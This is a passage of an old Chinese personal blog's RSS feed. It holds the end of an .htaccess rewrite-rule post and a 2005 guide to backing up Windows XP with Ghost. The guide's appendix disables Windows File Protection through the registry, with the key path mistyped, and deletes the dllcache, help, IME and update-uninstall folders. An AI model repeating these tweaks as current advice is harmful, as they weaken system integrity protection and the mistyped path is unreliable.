 RewriteRule ^browse/([0-9]+)$ index.php?x=browse&amp;category=&amp;pagenum=$1<br />
 RewriteRule ^browse/category/([0-9]+)/([0-9]+)$ index.php?x=browse&amp;category=$1&amp;pagenum=$2<br />
 RewriteRule ^browse/category/([0-9]+)$ index.php?x=browse&amp;category=$1&amp;pagenum=1<br />
 RewriteRule ^comment/([0-9]+)$ index.php?popup=comment&amp;showimage=$1<br />
 RewriteRule ^comment/submit$ index.php?x=save_comment<br />
 RewriteRule ^photo/([0-9]+)$ index.php?showimage=$1<br />
 RewriteRule ^collage$ index.php?x=collage<br />
 RewriteRule ^photo/([0-9]+)/rating/([1-5])$ index.php?showimage=$1&amp;rating=$2<br />
 RewriteRule ^photo/file/(.+)$ /images/$1<br />
 RewriteRule ^thumbnails/latest$ index.php?showthumb=latest&amp;thumbtag=image<br />
 RewriteRule ^feeds/(rss|atom).xml$ index.php?x=$1<br />
 RewriteRule ^browse/archive/(.*)/(.*)/([0-9]+)$ index.php?x=browse&amp;archivedate=$1&amp;monthname=$2&amp;pagenum=$3<br />
 RewriteRule ^browse/archive/(.*)/(.*)$ index.php?x=browse&amp;archivedate=$1&amp;monthname=$2&amp;pagenum=1<br />
 RewriteRule ^browse/archive/(.*)/([0-9]+)$ index.php?x=browse&amp;archivedate=$1&amp;pagenum=$2<br />
 RewriteRule ^browse/archive/(.*)$ index.php?x=browse&amp;archivedate=$1&amp;pagenum=1<br />
 RewriteRule ^browse/calendar/([0-9]+)/([0-9]+)/([0-9]+)$ index.php?curr_month=$1&amp;curr_year=$2&amp;showimage=$3<br />
 RewriteRule ^sitemap.xml$ index.php?z=sitemap</code></p>
<p>----------------------------------------------------------------------------------------------</p>
<p><object type="application/x-shockwave-flash" data="http://www.znsun.com/Music/player_mp3_maxi.swf" width="200" height="20"><param name="wmode" value="transparent" /><param name="movie" value="http://www.znsun.com/Music/player_mp3_maxi.swf" /><param name="FlashVars" value="mp3=http://znsun.com/Music/2006/hk.mp3&amp;bgcolor1=ffffff&amp;bgcolor2=cccccc&amp;buttoncolor=999999&amp;buttonovercolor=0&amp;slidercolor1=cccccc&amp;slidercolor2=999999&amp;sliderovercolor=666666&amp;textcolor=0&amp;showvolume=1&amp;autoload=1&amp;autoplay=0&amp;loop=0" /><p>Text alternative</p>
<p></object></p>
	<p></p>
	<hr noshade style="margin:0;height:1px" />
	<p>&copy; SUN for <a href="http://blog.znsun.com">徘徊在玻璃之城</a>, 2006. |
	  <a href="http://blog.znsun.com/2006/01/270/htaccess-guide">Permalink</a> |
	  <a href="http://blog.znsun.com/category/tech" title="View all posts in 与时俱进" rel="category tag">与时俱进</a>,  <a href="http://blog.znsun.com/category/website" title="View all posts in 网站更新" rel="category tag">网站更新</a> | 
	  <a href="http://blog.znsun.com/2006/01/270/htaccess-guide#comments">One comment</a></p> ]]></content:encoded>
			<wfw:commentRss>http://blog.znsun.com/2006/01/270/htaccess-guide/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>[电脑] 系统备份</title>
		<link>http://blog.znsun.com/2005/07/139/computer-system-backup</link>
		<comments>http://blog.znsun.com/2005/07/139/computer-system-backup#comments</comments>
		<pubDate>Sun, 31 Jul 2005 08:29:24 +0000</pubDate>
		<dc:creator>SUN</dc:creator>
				<category><![CDATA[与时俱进]]></category>
		<category><![CDATA[电脑技术]]></category>

		<guid isPermaLink="false">http://www.znsunimage.com/wordpress/?p=139</guid>
		<description><![CDATA[系统备份其实有很多软件可以做的，而且每个人都有自己的心得。我这里只是说说自己的一点经验，希望对大家有用。
一．	Ghost盘
我选用的系统备份是ghost2003的简化版。一张软盘就可以搞定。网上可以下的地方多的是。现在用软驱的实在是不多，所以嘛，最好就是刻录在光盘上。
二．	备份方案
1．	先安装系统（我用xp），还有必要的软件，游戏等等东西。这一点，每个人习惯不同。我习惯都装在C盘，这样ghost起来比较方便一些。记住把要升级的，要打补丁的地方都搞定了。然后对系统进行减肥和一些必要的设置（见附），随后用ghost备份整个C盘（记住选最大压缩比）。生成的镜像文件放在别的逻辑分区里。如果你有usb硬盘，最好也备份一个到usb盘里。（提一下，让大家有个谱，我的C盘安装了4个G的东西，镜像以后是2G多一点点）。
2．	系统备份好了，还有很多文件需要经常备份的。我是在outlook里面设置每月15号提醒，进行每月的备份，这个也简单。用winxp自带的backup备份就可以了。这个功能winxp安装的时候是不安的，需要自己用winxp的光盘安装一遍。备份的时候我一般备份My Documents, Desktop，Favorites, Email, Lab Docs目录，以及其他一些重要文件。
3．	恢复系统前的备份：
如果你的电脑被你整的很慢，或者是装了很多垃圾东西，你想恢复系统的话，记得还要做如下工作。
a.	备份自己的email，联系人等。如果你和我一样用outlook，只要把C:\Documents and Settings\Your Name\Local Settings\Application Data\Microsoft\Outlook目录里面的东西copy到其他盘，等用ghost恢复以后再覆盖那些旧文件就可以了。 （注意必须设置成能看隐藏属性的文件，否则看不到的）
b.	备份输入法的用户字库。很多专业词相信都是大家自己敲出来的，所以一定要备份。我用的是紫光，它本身提供了这个导出用户词库的功能。
c.	备份officexp的用户词库C:\Documents and Settings\Your Name\Application Data\Microsoft\Proof\Custom.dic
ok，备份好了以后你就可以放心的恢复系统了。我恢复的时间是8分钟左右，加上备份其他东西的时间和用备份覆盖旧文件的时间，20min就搞定了，很快。

附：系统减肥方法：
1. 禁用系统还原，ghost完毕后记得恢复；
2. 转移分页文件（虚拟内存），可移到d盘；
3. 转移系统临时文件夹到其他逻辑分区，我选的是E:\Temp；
4. 禁用休眠，可以节省和内存一样大的空间；
5. 转移我的文档的位置，我用是D:\My Documents
6. 转移IE的临时文件夹（缓存），我选的是E:\Temp；Outlook的存储位置改为D:\My Documents\Email；
7. 删除大的中文字体。这个看个人喜好了，我是没删除。
8. 删除系统文件备份，就是dllcache。在运行中输入“CMD”并回车，打开命令提示行窗口，然后在其中输入“sfc /purgecache”并回车，这将会删除前面提到的c:\windows\system32\dllcache文件夹中所有的备份文件，接着继续输入“sfc /cachesize=0”并回车。可能会提示windows文件保护的框。
9. 禁止windows文件保护。从注册表中找到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NTCurrent\Version\Winlogon，修改“SFCDisable”键值为“FFFFFF9D”，如果需要重新启用该功能，重新设置为“0”就可以了。
10. 删除帮助文件。直接删除Windows目录下的“Help”文件夹，不过有几个最好保留：agt0407.hlp这种数字格式的，反正只有几k，留着。
11. 多余的输入法。这个不能完全删除，不然封装后会提示插入源光盘！除了中文输入法，Windows XP中还带有日文和韩文等输入法，这对我们当然没什么用处，也可以在“c:\windows\ime”文件夹下选择性删除除了“CHSIME”和“SHARED”之外的其他文件夹中的内容。结果如图：
尤其imjp8_1和imkr6_1需要保留文件夹和部分dll文件，如果不是很大就尽量保留。删除ime后从80多m减少到2.36m就可以了。
C:\windows\ime保留文件列表.
│  mscandui.dll
│  SOFTKBD.DLL
│  SPGRMR.dll
│  SPTIP.dll
│
├─CHSIME
│  └─APPLETS
│          PINTLCSA.DLL
│   [...]]]></description>
			<content:encoded><![CDATA[<p>系统备份其实有很多软件可以做的，而且每个人都有自己的心得。我这里只是说说自己的一点经验，希望对大家有用。</p>
<p>一．	Ghost盘<br />
我选用的系统备份是ghost2003的简化版。一张软盘就可以搞定。网上可以下的地方多的是。现在用软驱的实在是不多，所以嘛，最好就是刻录在光盘上。</p>
<p>二．	备份方案<br />
1．	先安装系统（我用xp），还有必要的软件，游戏等等东西。这一点，每个人习惯不同。我习惯都装在C盘，这样ghost起来比较方便一些。记住把要升级的，要打补丁的地方都搞定了。然后对系统进行减肥和一些必要的设置（见附），随后用ghost备份整个C盘（记住选最大压缩比）。生成的镜像文件放在别的逻辑分区里。如果你有usb硬盘，最好也备份一个到usb盘里。（提一下，让大家有个谱，我的C盘安装了4个G的东西，镜像以后是2G多一点点）。</p>
<p>2．	系统备份好了，还有很多文件需要经常备份的。我是在outlook里面设置每月15号提醒，进行每月的备份，这个也简单。用winxp自带的backup备份就可以了。这个功能winxp安装的时候是不安的，需要自己用winxp的光盘安装一遍。备份的时候我一般备份My Documents, Desktop，Favorites, Email, Lab Docs目录，以及其他一些重要文件。</p>
<p>3．	恢复系统前的备份：<br />
如果你的电脑被你整的很慢，或者是装了很多垃圾东西，你想恢复系统的话，记得还要做如下工作。<br />
a.	备份自己的email，联系人等。如果你和我一样用outlook，只要把C:\Documents and Settings\Your Name\Local Settings\Application Data\Microsoft\Outlook目录里面的东西copy到其他盘，等用ghost恢复以后再覆盖那些旧文件就可以了。 （注意必须设置成能看隐藏属性的文件，否则看不到的）<br />
b.	备份输入法的用户字库。很多专业词相信都是大家自己敲出来的，所以一定要备份。我用的是紫光，它本身提供了这个导出用户词库的功能。<br />
c.	备份officexp的用户词库C:\Documents and Settings\Your Name\Application Data\Microsoft\Proof\Custom.dic<br />
ok，备份好了以后你就可以放心的恢复系统了。我恢复的时间是8分钟左右，加上备份其他东西的时间和用备份覆盖旧文件的时间，20min就搞定了，很快。<br />
<span id="more-139"></span><br />
<strong>附：系统减肥方法：</strong></p>
<p>1. 禁用系统还原，ghost完毕后记得恢复；<br />
2. 转移分页文件（虚拟内存），可移到d盘；<br />
3. 转移系统临时文件夹到其他逻辑分区，我选的是E:\Temp；<br />
4. 禁用休眠，可以节省和内存一样大的空间；<br />
5. 转移我的文档的位置，我用是D:\My Documents<br />
6. 转移IE的临时文件夹（缓存），我选的是E:\Temp；Outlook的存储位置改为D:\My Documents\Email；<br />
7. 删除大的中文字体。这个看个人喜好了，我是没删除。<br />
8. 删除系统文件备份，就是dllcache。在运行中输入“CMD”并回车，打开命令提示行窗口，然后在其中输入“sfc /purgecache”并回车，这将会删除前面提到的c:\windows\system32\dllcache文件夹中所有的备份文件，接着继续输入“sfc /cachesize=0”并回车。可能会提示windows文件保护的框。<br />
9. 禁止windows文件保护。从注册表中找到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NTCurrent\Version\Winlogon，修改“SFCDisable”键值为“FFFFFF9D”，如果需要重新启用该功能，重新设置为“0”就可以了。<br />
10. 删除帮助文件。直接删除Windows目录下的“Help”文件夹，不过有几个最好保留：agt0407.hlp这种数字格式的，反正只有几k，留着。<br />
11. 多余的输入法。这个不能完全删除，不然封装后会提示插入源光盘！除了中文输入法，Windows XP中还带有日文和韩文等输入法，这对我们当然没什么用处，也可以在“c:\windows\ime”文件夹下选择性删除除了“CHSIME”和“SHARED”之外的其他文件夹中的内容。结果如图：<br />
尤其imjp8_1和imkr6_1需要保留文件夹和部分dll文件，如果不是很大就尽量保留。删除ime后从80多m减少到2.36m就可以了。<br />
C:\windows\ime保留文件列表.<br />
│  mscandui.dll<br />
│  SOFTKBD.DLL<br />
│  SPGRMR.dll<br />
│  SPTIP.dll<br />
│<br />
├─CHSIME<br />
│  └─APPLETS<br />
│          PINTLCSA.DLL<br />
│          PINTLCSD.DIC<br />
│          PINTLCSD.DLL<br />
│          PINTLCSK.DIC<br />
│<br />
├─CHTIME<br />
│  └─Applets<br />
├─imejp<br />
│  └─applets<br />
├─imejp98<br />
├─IMJP8_1<br />
│  └─APPLETS<br />
├─IMKR6_1<br />
│  ├─Applets<br />
│  └─Dicts<br />
│          hanja.lex<br />
│          hanjadic.dll<br />
│          imekr.lex<br />
│<br />
└─SHARED<br />
    │  imepaden.hlp<br />
    │  imepadsm.dll<br />
    │  imepadsv.exe<br />
    │  imlang.dll<br />
    │<br />
    └─RES<br />
            PADRS404.DLL<br />
            padrs411.dll<br />
            padrs412.dll<br />
            padrs804.dll<br />
12. 可选删除Service Pack备份文件。Service Pack是Windows的大补丁文件，在安装Service Pack后硬盘上会占用一部分空间保存备份出来的系统文件；可删除windows下“ServicePackFiles”文件夹。<br />
事实上，安装winxp的时候，用封装了sp2的盘直接安装就能剩下这部分空间；</p>
<p>13. 删除所有windows下$NtUninstallQ******$”（******是一个数字）文件；<br />
14. 使用优化大师（注册版）优化并再次清理系统。</p>
	<p></p>
	<hr noshade style="margin:0;height:1px" />
	<p>&copy; SUN for <a href="http://blog.znsun.com">徘徊在玻璃之城</a>, 2005. |
	  <a href="http://blog.znsun.com/2005/07/139/computer-system-backup">Permalink</a> |
	  <a href="http://blog.znsun.com/category/tech" title="View all posts in 与时俱进" rel="category tag">与时俱进</a> | 
	  <a href="http://blog.znsun.com/2005/07/139/computer-system-backup#comments">One comment</a></p> ]]></content:encoded>
			<wfw:commentRss>http://blog.znsun.com/2005/07/139/computer-system-backup/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic Page Served (once) in 2.557 seconds -->

